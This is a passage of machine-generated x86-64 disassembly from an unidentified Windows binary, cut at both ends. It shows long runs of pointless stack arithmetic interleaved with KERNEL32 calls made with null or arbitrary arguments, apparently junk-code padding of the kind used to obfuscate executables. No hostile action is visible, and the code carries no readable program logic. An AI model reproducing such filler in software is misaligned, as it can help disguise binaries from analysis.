mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa39c], eax
mov rax, qword [rsp + 0x14110]
mov eax, dword [rax]
mov dword [rsp + 0xa3a0], eax
mov rax, qword [rsp + 0x14098]
mov rcx, qword [rsp + 0x13f10]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa270], eax
lea rax, [rsp + 0x63b]
mov qword [rsp + 0x14120], rax
mov rax, qword [0x14028eeb8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x140a8]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2b5c], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FlushInstructionCache]
mov rax, qword [rsp + 0x13eb8]
movzx eax, word [rax]
mov word [rsp + 0x2b78], ax
movzx eax, byte [rsp + 0x635]
mov rcx, qword [rsp + 0x13f18]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x140281dab], al
mov eax, dword [rsp + 0xa2e4]
mov ecx, dword [0x14028269c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa370], eax
mov rax, qword [rsp + 0x13f70]
mov ecx, dword [rsp + 0x9e40]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x6c58], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov qword [rsp + 0x14128], rax
lea rax, [rsp + 0x157c]
mov qword [rsp + 0x14130], rax
mov rax, qword [rsp + 0x13f68]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x13f18]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x631], al
mov rax, qword [rsp + 0x14110]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa310]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x75e0], eax
mov eax, dword [rsp + 0x976c]
movzx ecx, al
mov eax, dword [rsp + 0xa384]
shl eax, cl
mov dword [rsp + 0xa380], eax
mov rax, qword [rsp + 0x13e78]
mov rcx, qword [rsp + 0x13ea0]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xa378], eax
mov rax, qword [rsp + 0x14018]
mov eax, dword [rax]
mov dword [rsp + 0xa3a4], eax
mov rax, qword [rsp + 0x13fa0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x13eb8]
movzx ecx, word [rcx]
sar eax, cl
mov word [0x1402826a0], ax
lea rcx, [rsp + 0x225d8]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
movzx eax, byte [rsp + 0x636]
mov rcx, qword [rsp + 0x13e98]
movzx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x13f18]
mov byte [rcx], al
mov eax, dword [rsp + 0x820c]
mov dword [rsp + 0xa3a8], eax
mov eax, dword [rsp + 0x8e48]
mov ecx, dword [0x1402826b4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa264], eax
movsx eax, word [rsp + 0x2b24]
movsx ecx, word [rsp + 0x2b34]
imul eax, ecx
mov word [rsp + 0x2b2c], ax
mov rax, qword [rsp + 0x13f90]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x62]
and eax, ecx
mov byte [rsp + 0x619], al
mov rax, qword [rsp + 0x13fb0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x14130]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2b48], ax
mov rax, qword [rsp + 0x13f18]
movzx eax, byte [rax]
mov byte [rsp + 0x63c], al
mov rax, qword [rsp + 0x14020]
mov ecx, dword [rsp + 0xa250]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x140b8]
mov dword [rcx], eax
lea rax, [rsp + 0xa2e0]
mov qword [0x14028ee90], rax
mov eax, dword [rsp + 0xa278]
mov dword [rsp + 0xa3ac], eax
mov rax, qword [rsp + 0x14020]
mov ecx, dword [rsp + 0xa24c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x9d94], eax
lea rdx, [rsp + 0xa2a0]
mov rcx, qword [rsp + 0x140e8]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0xa27c], eax
mov rax, qword [rsp + 0x13ea0]
mov ecx, dword [rsp + 0xa374]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa270], eax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0xa3b0], eax
movzx eax, word [rsp + 0x1840]
movzx ecx, word [rsp + 0x2b78]
sub eax, ecx
mov word [rsp + 0x1820], ax
movzx eax, byte [rsp + 0x638]
movzx ecx, byte [rsp + 0x631]
add eax, ecx
mov byte [rsp + 0x5f5], al
mov rax, qword [rsp + 0x140c8]
mov eax, dword [rax]
mov dword [rsp + 0xa3b4], eax
mov rax, qword [rsp + 0x13f70]
mov rcx, qword [rsp + 0x14020]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x6c58], eax
mov rax, qword [rsp + 0x140d0]
mov rcx, qword [rsp + 0x13f10]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xa3a0], eax
mov rax, qword [rsp + 0x13f10]
mov eax, dword [rax]
mov dword [0x14028ee88], eax
movzx eax, byte [rsp + 0x633]
mov byte [rsp + 0x63d], al
mov rax, qword [rsp + 0x13eb8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x140d8]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x2b60], ax
movzx eax, byte [rsp + 0x62e]
mov byte [rsp + 0x63e], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetStdHandle]
lea rax, [rsp + 0x1948]
mov qword [rsp + 0x14138], rax
mov rax, qword [rsp + 0x140b8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x976c]
shr eax, cl
mov rcx, qword [rsp + 0x14020]
mov dword [rcx], eax
mov eax, dword [rsp + 0xa35c]
mov ecx, dword [rsp + 0xa338]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0xa3a4], eax
movzx eax, word [rsp + 0x2b78]
movzx ecx, word [rsp + 0x2b40]
xor eax, ecx
mov word [rsp + 0x1860], ax
mov rax, qword [rsp + 0x13f68]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x13f58]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x1aa], al
lea rax, [rsp + 0xa384]
mov qword [0x14028ee80], rax
lea rax, [rsp + 0xa340]
mov qword [rsp + 0x14140], rax
mov rax, qword [rsp + 0x13e78]
mov rcx, qword [rsp + 0x140d0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x14140]
mov dword [rcx], eax
mov rax, qword [rsp + 0x140b8]
mov rcx, qword [rsp + 0x13f70]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xa250], eax
lea rax, [rsp + 0x638]
mov qword [rsp + 0x14148], rax
movzx eax, word [rsp + 0x2b48]
mov rcx, qword [rsp + 0x14130]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1860], ax
mov rax, qword [rsp + 0x13ea0]
mov eax, dword [rax]
mov dword [rsp + 0xa3b8], eax
mov rax, qword [rsp + 0x140c8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x75e0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa39c], eax
mov rax, qword [0x14028eea8]
mov eax, dword [rax]
mov dword [rsp + 0xa3bc], eax
mov rax, qword [rsp + 0x140c8]
mov ecx, dword [rsp + 0xa38c]
mov eax, dword [rax]
sub eax, ecx
mov dword [0x140282690], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EscapeCommFunction]
mov rax, qword [rsp + 0x14098]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x82f8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa2f4], eax
mov rax, qword [rsp + 0x140a8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x14138]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2b54], ax
mov rax, qword [rsp + 0x13ea8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x140b0]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x4c7], al
mov rax, qword [rsp + 0x13fa0]
movzx eax, word [rax]
movzx ecx, word [0x140282698]
add eax, ecx
mov word [rsp + 0x2b30], ax
lea rax, [rsp + 0x5f5]
mov qword [rsp + 0x14150], rax
mov rax, qword [rsp + 0x14020]
mov rcx, qword [rsp + 0x140b8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa388], eax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNamedPipeInfo]
mov rax, qword [rsp + 0x14140]
mov ecx, dword [0x1402826ac]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x6500], eax
movzx eax, byte [rsp + 0x63a]
mov byte [rsp + 0x63f], al
movzx eax, word [rsp + 0x1820]
mov rcx, qword [rsp + 0x13fa0]
movzx ecx, word [rcx]
or eax, ecx
mov word [0x1402826bc], ax
mov rax, qword [rsp + 0x140b8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x14020]
mov qword [rsp + 0x14158], rcx
movzx ecx, al
mov rax, qword [rsp + 0x14158]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0xa250], eax
mov eax, dword [rsp + 0xa38c]
mov dword [rsp + 0xa3c0], eax
mov eax, dword [rsp + 0xa304]
mov rcx, qword [rsp + 0x140f0]
mov qword [rsp + 0x14160], rcx
movzx ecx, al
mov rax, qword [rsp + 0x14160]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x140c8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13f70]
mov rcx, qword [rsp + 0x14020]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xa380], eax
lea rax, [rsp + 0x2b4c]
mov qword [rsp + 0x14168], rax
movzx eax, byte [rsp + 0x633]
movzx ecx, byte [rsp + 0x62f]
sub eax, ecx
mov byte [rsp + 0x63c], al
mov rax, qword [0x14028ee90]
mov ecx, dword [rsp + 0xa3b4]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x763c], eax
mov rax, qword [rsp + 0x14110]
mov ecx, dword [rsp + 0xa278]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xa2e0], eax
movsx eax, byte [rsp + 0x63e]
mov rcx, qword [rsp + 0x13f90]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [0x140281db2], al
mov rax, qword [rsp + 0x14138]
movzx eax, word [rax]
mov word [rsp + 0x2b7c], ax
mov rax, qword [rsp + 0x140d8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2b38]
add eax, ecx
mov word [rsp + 0x2b4c], ax
mov rax, qword [rsp + 0x13f18]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x13f58]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x63d], al
mov rax, qword [rsp + 0x13f70]
mov eax, dword [rax]
mov dword [rsp + 0xa3c4], eax
mov eax, dword [rsp + 0xa388]
mov ecx, dword [rsp + 0xa384]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x84a4], eax
mov eax, dword [rsp + 0xa2cc]
mov ecx, dword [rsp + 0xa390]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6564], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov eax, dword [rsp + 0x6564]
mov ecx, dword [rsp + 0xa310]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0xa3ac], eax
mov eax, dword [rsp + 0xa38c]
movzx ecx, al
mov eax, dword [rsp + 0xa2b0]
shl eax, cl
mov dword [rsp + 0xa2f4], eax
mov rax, qword [rsp + 0x13f58]
movzx eax, byte [rax]
mov byte [rsp + 0x640], al
lea rax, [rsp + 0x1840]
mov qword [0x14028ee78], rax
mov eax, dword [rsp + 0xa370]
mov ecx, dword [rsp + 0x820c]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x9d94], eax
mov eax, dword [0x14028eec8]
mov dword [rsp + 0xa3c8], eax
mov eax, dword [rsp + 0xa340]
mov rcx, qword [rsp + 0x14098]
mov qword [rsp + 0x14170], rcx
movzx ecx, al
mov rax, qword [rsp + 0x14170]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x718c], eax
mov rax, qword [rsp + 0x140b8]
mov rcx, qword [rsp + 0x14020]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x84a4], eax
mov rax, qword [rsp + 0x13f58]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x636]
add eax, ecx
mov byte [rsp + 0xbb], al
mov rax, qword [rsp + 0x13fa0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2b38]
sub eax, ecx
mov word [rsp + 0x2b68], ax
mov rax, qword [rsp + 0x13e88]
movzx eax, byte [rax]
mov byte [rsp + 0x641], al
mov rax, qword [rsp + 0x140a8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x14138]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2b5c], ax
lea rax, [rsp + 0x9d94]
mov qword [0x14028ee70], rax
mov rax, qword [rsp + 0x14140]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa3b8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa35c], eax
mov rax, qword [rsp + 0x13fa0]
movzx eax, word [rax]
mov word [rsp + 0x2b80], ax
mov rax, qword [rsp + 0x14148]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x13f18]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x63a], al
lea rax, [rsp + 0xa270]
mov qword [rsp + 0x14178], rax
mov rax, qword [0x14028ee98]
mov ecx, dword [rsp + 0xa370]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa388], eax
mov eax, dword [rsp + 0xa2a8]
mov dword [rsp + 0xa3cc], eax
mov rax, qword [rsp + 0x140d0]
mov ecx, dword [rsp + 0xa3c0]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa394], eax
movzx eax, byte [rsp + 0x2d7]
movzx ecx, byte [rsp + 0xbb]
sub eax, ecx
mov byte [rsp + 0x63a], al
movzx eax, word [rsp + 0x2b38]
movzx ecx, word [rsp + 0x2b50]
sub eax, ecx
mov word [0x1402826bc], ax
lea rax, [rsp + 0xa250]
mov qword [rsp + 0x14180], rax
lea rcx, [rsp + 0x22608]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rax, qword [rsp + 0x140c8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa398]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0xa238], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [rsp + 0xa27c], eax
mov rax, qword [rsp + 0x14018]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x82f8]
sar eax, cl
mov dword [rsp + 0x9bd8], eax
mov eax, dword [rsp + 0xa340]
mov ecx, dword [0x14028eec8]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x75e0], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EncodePointer]
mov eax, dword [rsp + 0xa390]
movzx ecx, al
mov eax, dword [rsp + 0xa37c]
shl eax, cl
mov rcx, qword [rsp + 0x13e78]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x634]
mov byte [rsp + 0x642], al
mov rax, qword [0x14028eeb8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x14138]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x2b2c], ax
movzx eax, word [rsp + 0x2b40]
mov word [rsp + 0x2b84], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindNextChangeNotification]
mov rax, qword [rsp + 0x13f18]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x13f58]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x14028eec1], al
mov rax, qword [0x14028ee80]
mov ecx, dword [rsp + 0xa250]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x925c], eax
mov rax, qword [rsp + 0x140b8]
mov rcx, qword [rsp + 0x14180]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa3c4], eax
movzx eax, byte [rsp + 0x63c]
mov rcx, qword [rsp + 0x13e98]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x325], al
mov rax, qword [rsp + 0x13fa0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2b60]
sub eax, ecx
mov word [rsp + 0x157c], ax
mov eax, dword [rsp + 0xa338]
mov dword [rsp + 0xa3d0], eax
mov rax, qword [rsp + 0x14180]
mov eax, dword [rax]
mov ecx, dword [0x14028eec4]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x925c], eax
mov eax, dword [rsp + 0xa2cc]
mov ecx, dword [rsp + 0x75e0]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13ea0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14098]
mov eax, dword [rax]
mov dword [rsp + 0xa3d4], eax
movzx eax, byte [rsp + 0x4f2]
mov byte [0x14028ee6a], al
mov rax, qword [rsp + 0x14100]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x140d8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2b4c], ax
mov dword [rsp + 0x20], 0xb76
mov r9d, 0x3e1e
mov r8d, 0x1cc0
mov edx, 0x5ae
mov rcx, qword [rsp + 0x140e8]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0xa3d8], eax
mov rax, qword [rsp + 0x140b8]
mov rcx, qword [rsp + 0x13f70]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x7b28], eax
mov rax, qword [rsp + 0x140c8]
mov rcx, qword [rsp + 0x140f0]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x763c], eax
movzx eax, byte [rsp + 0x619]
mov byte [rsp + 0x643], al
mov rax, qword [rsp + 0x14138]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2b7c]
sar eax, cl
mov word [rsp + 0x2b34], ax
movzx eax, byte [rsp + 0x638]
mov rcx, qword [rsp + 0x13f68]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x633], al
mov rax, qword [rsp + 0x14130]
movzx eax, word [rax]
mov word [rsp + 0x2b88], ax
mov eax, dword [rsp + 0xa388]
movzx ecx, al
mov eax, dword [rsp + 0x925c]
shl eax, cl
mov dword [rsp + 0xa2e4], eax
mov eax, dword [rsp + 0xa3ac]
mov ecx, dword [rsp + 0x82f8]
and ecx, eax
mov eax, ecx
mov dword [0x1402826c0], eax
mov eax, dword [rsp + 0xa304]
mov ecx, dword [rsp + 0x7730]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6608], eax
mov rax, qword [rsp + 0x13f70]
mov eax, dword [rax]
mov ecx, dword [0x14028eec4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x6c58], eax
mov rax, qword [rsp + 0x13ea0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa2bc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa264], eax
mov rax, qword [rsp + 0x13f68]
movzx eax, byte [rax]
mov byte [rsp + 0x644], al
mov rax, qword [0x14028ee78]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x13fb0]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1860], ax
mov eax, dword [rsp + 0xa310]
mov dword [rsp + 0xa3dc], eax
mov rax, qword [rsp + 0x140b8]
mov rcx, qword [0x14028ee98]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x14020]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13f10]
mov rcx, qword [rsp + 0x13e78]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x718c], eax
mov rax, qword [rsp + 0x14140]
mov rcx, qword [rsp + 0x140d0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [0x140282690], eax
movzx eax, byte [rsp + 0x34e]
mov byte [rsp + 0x645], al
movzx eax, word [rsp + 0x2b68]
mov rcx, qword [rsp + 0x14130]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2b84], ax
movsx eax, byte [rsp + 0x63e]
mov rcx, qword [rsp + 0x140b0]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x2e9], al
movsx eax, word [rsp + 0x2b5c]
mov rcx, qword [rsp + 0x140a8]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x2b6c], ax
mov rax, qword [rsp + 0x14180]
mov eax, dword [rax]
mov dword [rsp + 0xa3e0], eax
mov rax, qword [rsp + 0x14098]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x14110]
mov qword [rsp + 0x14188], rcx
movzx ecx, al
mov rax, qword [rsp + 0x14188]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x6500], eax
movzx eax, word [rsp + 0x2b28]
movzx ecx, word [rsp + 0x2b50]
xor eax, ecx
mov rcx, qword [rsp + 0x14168]
mov word [rcx], ax
mov rax, qword [rsp + 0x13f58]
movzx eax, byte [rax]
mov byte [rsp + 0x646], al
mov eax, dword [0x1402826a8]
mov ecx, dword [rsp + 0x925c]
add ecx, eax
mov eax, ecx
mov dword [0x14028269c], eax
mov eax, dword [rsp + 0xa270]
mov ecx, dword [rsp + 0xa3d4]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xa264], eax
mov eax, dword [rsp + 0xa3a4]
mov ecx, dword [rsp + 0xa264]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x872c], eax
mov eax, dword [rsp + 0xa3a8]
mov ecx, dword [rsp + 0xa3e0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x9e40], eax
movzx eax, byte [rsp + 0x275]
mov rcx, qword [rsp + 0x13f68]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x63f], al
movzx eax, word [rsp + 0x2b50]
mov word [rsp + 0x2b8c], ax
mov rax, qword [rsp + 0x140f0]
mov rcx, qword [rsp + 0x14098]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa3a4], eax
mov rax, qword [rsp + 0x14110]
mov eax, dword [rax]
mov dword [rsp + 0xa3e4], eax
mov rax, qword [rsp + 0x14020]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa250]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa370], eax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0xa26c], eax
mov rax, qword [rsp + 0x13ea0]
mov eax, dword [rax]
mov ecx, dword [0x1402826ac]
add ecx, eax
mov eax, ecx
mov dword [0x1402826c4], eax
mov rax, qword [rsp + 0x14098]
mov ecx, dword [rsp + 0xa3c0]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x6564], eax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetInformationJobObject]
lea rax, [rsp + 0x2b54]
mov qword [rsp + 0x14190], rax
lea rax, [rsp + 0x639]
mov qword [rsp + 0x14198], rax
movzx eax, word [rsp + 0x2b38]
movzx ecx, word [rsp + 0x1860]
and eax, ecx
mov word [rsp + 0x2b40], ax
lea rax, [rsp + 0x644]
mov qword [rsp + 0x141a0], rax
mov rax, qword [rsp + 0x14020]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x84a4]
shl eax, cl
mov dword [rsp + 0x9d94], eax
mov eax, dword [rsp + 0xa338]
mov ecx, dword [rsp + 0xa378]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0xa2f4], eax
movzx eax, word [rsp + 0x2b50]
movzx ecx, word [0x14028eeb0]
xor eax, ecx
mov word [rsp + 0x15c8], ax
mov rax, qword [rsp + 0x141a0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x4f2]
sar eax, cl
mov byte [0x140281daa], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadPriority]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x141a8], rax
mov rax, qword [rsp + 0x14020]
mov rcx, qword [rsp + 0x14180]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa3bc], eax
mov rax, qword [0x14028ee90]
mov eax, dword [rax]
mov dword [rsp + 0xa3e8], eax
mov rax, qword [rsp + 0x13f10]
mov rcx, qword [rsp + 0x140f0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x9e20], eax
lea rdx, [rsp + 0x23388]
mov rcx, qword [rsp + 0x140a0]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xa3ec], eax
mov eax, dword [rsp + 0xa3c4]
mov dword [rsp + 0xa3f0], eax
mov rax, qword [rsp + 0x14168]
movzx eax, word [rax]
mov rcx, qword [0x14028ee78]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x2b40], ax
mov rax, qword [rsp + 0x13e98]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x13f18]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x637], al
mov rax, qword [0x14028ee90]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa39c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x9a0c], eax
mov eax, dword [rsp + 0x9bd8]
mov ecx, dword [rsp + 0xa238]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x9a0c], eax
mov rax, qword [rsp + 0x14190]
movzx eax, word [rax]
mov word [0x14028ee68], ax
mov rax, qword [rsp + 0x14120]
movzx eax, byte [rax]
mov byte [rsp + 0x647], al
mov rax, qword [0x14028ee78]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2b68]
add eax, ecx
mov word [rsp + 0x1820], ax
mov rax, qword [rsp + 0x13f58]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x34e]
sub eax, ecx
mov byte [rsp + 0x631], al
mov rax, qword [rsp + 0x13f70]
mov eax, dword [rax]
mov dword [rsp + 0xa3f4], eax
mov rax, qword [rsp + 0x14180]
mov ecx, dword [rsp + 0x976c]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x140b8]
mov dword [rcx], eax
mov eax, dword [rsp + 0xa3dc]
mov ecx, dword [rsp + 0xa2e0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x90bc], eax
mov eax, dword [rsp + 0xa3b4]
mov ecx, dword [rsp + 0xa3cc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x718c], eax
mov eax, dword [rsp + 0xa340]
mov rcx, qword [rsp + 0x13ea0]
mov qword [rsp + 0x141b0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x141b0]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0xa3b4], eax
movzx eax, word [rsp + 0x2b88]
mov word [rsp + 0x2b90], ax
movzx eax, byte [0x14028ee6a]
movzx ecx, byte [rsp + 0x275]
or eax, ecx
mov byte [0x140281db3], al
mov eax, dword [rsp + 0xa3f4]
mov ecx, dword [rsp + 0xa388]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14180]
mov dword [rcx], eax
mov eax, dword [rsp + 0x9e20]
mov dword [rsp + 0xa3f8], eax
mov eax, dword [rsp + 0xa394]
mov rcx, qword [rsp + 0x140c8]
mov qword [rsp + 0x141b8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x141b8]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0xa2a8], eax
mov rax, qword [rsp + 0x140b8]
mov eax, dword [rax]
mov dword [rsp + 0xa3fc], eax
mov rax, qword [rsp + 0x14168]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2b4c]
and eax, ecx
mov rcx, qword [rsp + 0x13fb0]
mov word [rcx], ax
mov rax, qword [rsp + 0x14150]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x285]
add eax, ecx
mov rcx, qword [rsp + 0x14148]
mov byte [rcx], al
mov rax, qword [rsp + 0x14138]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x14190]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1d78], ax
mov rax, qword [rsp + 0x13ea8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x14120]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x63e], al
lea rax, [rsp + 0x7b28]
mov qword [0x14028ee60], rax
mov rax, qword [rsp + 0x14140]
mov eax, dword [rax]
mov dword [rsp + 0xa400], eax
mov rax, qword [rsp + 0x13fb0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2b88]
sub eax, ecx
mov word [rsp + 0x2b30], ax
movzx eax, byte [rsp + 0x4f2]
mov rcx, qword [rsp + 0x13f58]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x1aa], al
mov rax, qword [rsp + 0x14178]
mov eax, dword [rax]
